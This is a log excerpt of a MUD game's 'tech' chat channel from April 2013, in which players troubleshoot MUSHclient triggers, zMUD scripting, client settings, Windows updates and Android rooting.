T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: omg 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: turn on spelltags...it'll greatly simplify everything...tags exist specifically to make scripting easier
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The best simple fix I found is just to alias 'spellup learned' to some easy to reach key - I use =
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Even with a spellup plugin I still use that = key from time to time to be sure my spells are up
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Ranrr Tech: My spellup script uses the spellup command... so it's only like 2 lines of code
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: so thanks everyone for helping me with the buff trigger thing i went and got winklewinkle and im goin to try to learn how to script with mush again thank you
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: I'm getting a strange prefix with all channel lines. It says '{chan ch=<channelname>}'
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: type "tags channels off", or start using a channel capture script which uses and hides those
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: Thank you
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: Odd... After doing what you suggested, I stopped seeing the yellow square brackets around the channel name.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: yellow square brackets?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: Odd... After doing what you suggested, I stopped seeing the yellow square brackets around the channel name.tech Yes, I used to see the entries like:  [Channel]
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: what client are you using? If you normally see square brackets around all channel names, then you've got some sort of channel script running
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: All of my plugins started failing, so i freaked out and reinstalled mush...but now my mapper is just...........gone
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: anyone have any ideas?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: its just completely wiped
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Thunderax Tech: copy the database over
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: I've been using tintin++ (with absolutely no scripts), but I decided to try AardMUSH, unsatisfactorily, and when I switched back to tintin++ I noticed the changed format.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: did you rename your world file?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: you weren't using it with absolutely no scripts
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: check your world folder and make sure the aardwolf.db file is still there.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: No, nothing changed...i was idle, went for a quest, and everything started wigging out
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: alright i will
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: tintin++ has no scripts by default, And I didn't add any.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: there is a file there but im not sure if its the one i just made while using mush this session or what
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: then you simply wouldn't have had [channel]
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: this is crazy. all of my portals and everything...ugh
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: start mush again, look for error messages on load
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: there are multiple backups of the database file in the backups folder
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Filippa Tech: This is Dhanneii, on a different character. On this one, I can see the yellow brackets and no {channel ...} tags
T3/r7/2013-04-11.txt.gz:{chan ch=tech}A bowl of Granola Tech: alright its still cleared. so how do i copy a backup over then?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: it's a file...close mush, copy file, name it, start mush
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: The only difference when I play as Dhanneii or as Filippa is the credentials I use to access the MUD. Everything is the same client-side, but the output is altered for Dhanneii. This is most likely something that AardMUSH did to this character's settings, since I didn't log on as Filippa from AardMUSH.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: the {chan ch=foo} was something that aardmush did, yes...the [channel] is not
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: dhanneii: are you sure you're not just looking at the newbie channel for the [channel]? that's how that channel always looks, like this one is Playername Tech: message
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: Have you tried to connect to the MUD with a plain, no-scripts, no add-ons client? I can assure you the [channel] is there.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: as abe said i think you are seeing [Newbie] tags?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: I see the brackets on all channels but Tech, I never said it was this channel that had them.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Recommend to me a windows-based IRC client. Preferably one that can tile windows.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: newbie is the only channel that uses [] that you would have access to, unless you have scripts
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: the MUD doesn't send [channel] for general channels...but various channels have different ways to show the channel's name
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: wolfe: have you tried mirandaIM?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: actually, no. I shall have a look at that.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: OH, wait.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: Part of the IM client?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: I use it for AIM.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: nod, it does IRC as well
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: That's what I was leaning towards, to be honest. My copy of Pirch is acting up, my trial of mIRC expired in like 2001, and I don't really like xchat
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: I decided to try AardMUSH because I assumed it would work well with AarWolf. However, not only did it turn out to be insufficient for normal play --it failed to show basic stuff like the mobs in the room I'm in--, but it messed up my character's settings.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: I'm not sure what it's doing to do that, Dhanneii, it worked out of the box here on several PCs.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: heh, aardmush works extremely well with aardwolf, and never fails to show the mobs in the room you're in
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: and aardmush did nothing about [channel]
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dhanneii Tech: Fair enough. Have a nice day.
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Bupy Tech: Hey, i've asked this before and gotten the answer, my affoff tags are visible and I fixed this by changing my prompts only i can't remember what i need to do, i've tried googling it...
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Grissom Tech: does this make sense With a 112.5% quest completion percentage.'
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Grissom Tech: and it started doing that after i failed one quest
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Luckyj Tech: I was trying to adjust the wordwrap on my output scrn (mushclient) and all window went into a small box, it wont let me drag the box back larger?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Ayasinda Tech: try 'resetaard'
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Luckyj Tech: i now see all previous window, but they squeezed into a small overall window, I get drag arrows to resize it, but it does not work
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Ayasinda Tech: no 'max window' button top right?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Luckyj Tech: got it, thanks
T3/r7/2013-04-12.txt.gz:{chan ch=tech}DeezyKitty Diza Tech: Why might a cell phone user get "too much traffic" as an error when trying to connect to aard?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: how strange
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: suddenly lost internet connectivity and found that for some reason windows had set the dns server ip to be my gateway
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: despite everything being set to auto
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: does not compute
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Aqiz Tech: lol
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: set it manually, and it's all working fine
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Aqiz Tech: check your hosts file and run a malware scan just to be safe
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: meh, means installing one
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: still not go full access, things are a bit funky
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: pretty sure it's ISP
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tigernuts Tech: seems to be resolving now
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Kalsch Tech: Does anyone know of a reliable method to be able to download Adobe Captivate videos to your local hard drive for later viewing?  I've done google searches but it didn't come up with very good solutions
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Excel question here. I'm trying to find the median of a "fixed" range of cells. However, Some of these cells in this range may not ever have a value. How can I write a function to find the median (and the average as well) of the cells only with values?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Nuanse Tech: isblank?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks, Nuanse. That helped me figure it out. :D
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: hey tech guys im trying to make a trigger that will play a sound file to alert me of "QUEST: You may now quest again." i am useing a mushclient can ne1 help me
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: what's your question?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: what have you tried...
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: well its not working
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: when you go to settings, to triggers, and say new trigger, you just type/paste that into the top part, and you go to the sound section of the trigger
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: i remmeber you abel your helpfull
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: nothing more to it
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: in the settings page where it lists triggers, make sure that trigger sounds checkbox is checked
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: well there is cuase it wont work
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: ahh that might be it lol
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Zirikki Tech: =,=
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: nope its checked
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: so its comthing else
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Zirikki Tech: what do you have as trigger? do you have regex checked?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: the trigger is "QUEST: You may now quest again." and then i went straight to the play sound file choose one and clicked ok went to test it and nothing waited 30 min and nothing
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: when you're in your trigger definition window where you browsed for the sound file, did you click test?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: yes it plays there
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: the string of boxes on the side only has on box checked and thats enabled
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: the boxs at the top bold italic... those are all checked 
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: make sure that there isn't a space after the period
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Zirikki Tech: idk you must of mispelled something, try adding * to the end
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: nope no space there
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: its copy pasted lol
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: and in the triggers list page, both checkboxes should be checked, enable trigs and enable trig sounds
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Zirikki Tech: also you can test triggers with echo, you dont have to wait for the acutal message
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: what is the drop box suppose to say cuase its on world atm
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Mye Tech: if you have regex checked, you need to escape the colon and period
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: that wouldn't prevent it from working
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Mye Tech: but again. is different from again\.
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: where is regex @w
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: don't need to escape colon, and period matches a literal period...it'd just match any other character as well
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: but again. is different from but again\., but it still matches "but again."
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: so your saying put the trigger in as *QUEST: You may now quest again.*
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: so in the context of "this isn't working", it isn't an answer
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: it should just be QUEST: You may now quest again.
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Zirikki Tech: just test with echo til you get something that works
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: is is QUEST: You may now quest again.
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: check the "keep evaluating" checkbox
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: and in the huge box in that trigger definition window, put "echo Hey, I matched the quest text!"
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: then OK/save them all and type "echo QUEST: You may now quest again."
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: nope
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: was anything echoed to the screen
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: ohh it worked there 
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: it echoed to the screen, but no sound?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: thats wierd it waits for a while to do it
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Ranrr Tech: It does work, it triggered my notification :D
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: our stuff triggered you, ranrr? you're not anchored? (or you mean echoing to yourself triggers you)
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, i just can't be bothered to fix that. I know how to do it correctly, but product management decided it's a bug we can live with.
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: k i got it to work but for some reason it waits till next tick or somone talks but thats fine it works it all i need is a slight notification
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: and no its not "echoing"
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: did you put "echo Hey, I matched the quest text!" into the big box?
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: no
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: sorry
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: oh, then it's not supposed to echo anything to you ;-)
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: I was having you do that to determine whether it's the "play sound" that was failing or the "match text"
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Tech: but since both are working, no need for the echo...it's the equivalent of programmers peppering code with print statements for debugging
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: ok i kinda get that 
T3/r7/2013-04-12.txt.gz:{chan ch=tech}Lorwrath Tech: thank you guys this is goin to be nice
T3/r7/2013-04-13.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: how do i set a level of a room so that mush doesnt use it in gotos?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zetkax Tech: mapper lockexit i think
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just got iTuner since iTunes v11 broke my system tray info hover... wish I had used it years ago :-) Really good addition if you use iTunes
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zade Tech: iTuner is for masochists that like mp3 noise ?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Aurelia Tech: Are there chat capture windows for cmud?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im looking to "burn" a linux iso to a USB any suggestions on programs, or steps to take?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zetkax Tech: use k3b
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zetkax Tech: oops
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zetkax Tech: its not that simple, best to get a linux distro designed for usb
T3/r7/2013-04-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was using unetbootin but it wont seem to let me install, it errors out
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zetkax Tech: which distro is it?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}HelperMan Hadar Tech: had first tried with centos, then i used a ubuntu server iso both failed
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Zetkax Tech: the only distro ive ever used with a usb stick was puppy linux and dsl linux, but they are kinda small versions of linux
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Fawlty Tech: does anyone know how to change the font/style in the 'communication log' window in the mushclient plugin?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: right click the communication log bar
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: change font
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: and click change font
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Fawlty Tech: genius! thanks!
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Prince Wario Tech: yes
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Prince Wario Tech: Ihave mine set to 14
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Kalsch Tech: basic zmud question:  If i have a variable "test" and it has the value of 12, shouldn't #add est -1 decrease that value by 1?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Kalsch Tech: #add @test -1 rather
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: no
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Kalsch Tech: what would the correct syntax be to decrease the value by 1?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: #add @test -1 will create a variable "12" with a value of -1
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: when using the #commands that perform an operation on a variable
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: do not use the @ variable symbol in the name
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: it evaluates the reference
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Kalsch Tech: ahhhhhhhhh
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: which can be useful sometimes
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: try #add test -1
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Kalsch Tech: that did it.  I knew that too... deep down.  Thanks!
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: my pleasure :)
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Ylar Tech: .....minutes later.
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Thunderax Tech: i know there are options to match based on text color in mush, but are there ways to capture parts of lines based on color?
T3/r7/2013-04-13.txt.gz:{chan ch=tech}Nuanse Tech: didnt you kind of answer your own question there?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: having trouble with mush when the buffer fills up i lag like mad  more to the point the game is unplayable i can  log off log back on still have the same issue but uf i stop playing for like a month two months i can normaly get a decant run with out that happening
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: is there a way i can empty that buffer  manualy
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: it doesn't keep a buffer between starts of the program...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: under display, clear output buffer
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: I think I got it thank you
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: reduce the size of the buffer or get more RAM
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: what would be a  decant  range to set the buffer
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's up to you
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: stock setting is 9999
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mine is set to 99999
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: thats  what mine must be set too
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: I been clearing it manuely  every so often and been ok
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: you'd find your setting under game -> configure -> output
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: press Alt+5 and you can see what yours is set to
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I let mine go to 500k, simply because even a completely full 500k line buffer pales in comparison to the mem leaks Mushclient has :-P
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: since i learned how to do that
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mushclient doesn't leak memory for me
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not sure what I do differently
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: thats what it is set at
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: 9999
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: idk whether it is due to aardmush stuff, or Bast stuff, or some magic combination, but I can hit over 8 gig if I leave Mush on for a few weeks :-)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sits down and thinks deeply. 
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I've tried stepping through code, I've tried Bast's mem tracker, I've tried dumping the RAM and piecing through it manually, I can't find the reason
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Even got the open source part of Mushclient to see if I could get it to leak, but nada
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: port*
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: all of mushclient is open source
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: various random people have complained about memory leaks for a long time, and I can never reproduce it
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: does it make sense me clearing it mabuely has been working ?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: From what I can tell, it has to do with Mush's implementation of either sqlite, or tables, or communicating between the 2
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: or is that what my trouble is
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I can't imagine 10k lines being sufficient to ruin your performance, but if it is then clearing manually would of course work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: beeb clearing when i pray  nothing important is coming  across
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: sorry for my typos
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pop open task manager, see how much RAM you're using, and how much RAM Mush is taking up
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: got it open but am kinda  computer dumb
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Got a performance tab? Click that
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the only thing about mushclient that is hard on my computer is actually a Wine problem
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: looking at it
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Ophelion Tech: find mushclient.exe. then look at mem usage
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nah, just see if the highlighted part under 'Memory' is full or not
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: ok confused 
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: i am running about  15 cpu it swaggers at times though
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Redryn Tech: don't need 15 cpus when you have swag!
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: i bever dud anything to it 
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Rathen Tech: ok I have  the tm open not sure what i am to look at in proccess says  umder mushclient exc 21,760
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Ixle Tech: What's a good degreaser that might be easy to find in a house/hotel?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Atoam Tech: Spit
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: dishsoap
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Ixle Tech: To qualify this is tech I'm cleaning label residue off my laptop
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Atoam Tech: Definitely spit.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: Dawn takes grease out of your way :-)
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Thunderax Tech: lemon?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}RedRain Tech: urine!
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Redryn Tech: vodka
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: You giggle in his presence.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Ixle Tech: Thanks, bit of dawn soap + alchohol did the trick.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: you didn't piss on it for good measure?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Ixle Tech: Need more alchohol first.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a way to disable all updates from windows 7?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: sure
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes, but that's a stupid thing to do
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: in the updates control panel... but unless you REALLY know what you're doing, don't do that...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sure disconnect from the internet
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i cant afford the updates i have little data and it just keeps eating my data
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Aqiz Tech: ditch doze then
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you'll have less data when you get rooted
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Aqiz Tech: ^^^
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: guys stop making fun please how do i stop my pc from updating
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: google how to stop windows 7 updates
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Tech: go into windows update, and click to configure
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so i have a question about rooting a galaxy tab 2, does the peel remote app still work?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i think cheez had one also but he is frozen
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: why wouldn't it?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: rooting never makes fewer things work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well if the drivers for it havent been ported to ta root rom then that would be a problem
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It does on iOS Redryn :-P
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I mean Fiendish...
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You were sandwiched in the comments and it swam together o.0
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: jailbreaking also doesn't make fewer things work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also that's not how drivers work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It does when the software you use to jailbreak something runs at a lower release # equivalent to the 'official' release of the OS
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i hate to be a nay sayer but you telling me that isn't how things should work doesn't mean that the irblaster will work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i mean i will still try it but i am not expecting it to work
T3/r7/2013-04-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the only thing rooting does is unlock permissions. you can have rooted stock.
T3/r7/2013-04-14.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok another question is there a way to see whzt is updating on my pc?
T3/r7/2013-04-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: fiendish would you be willing to make a 2tp bet?
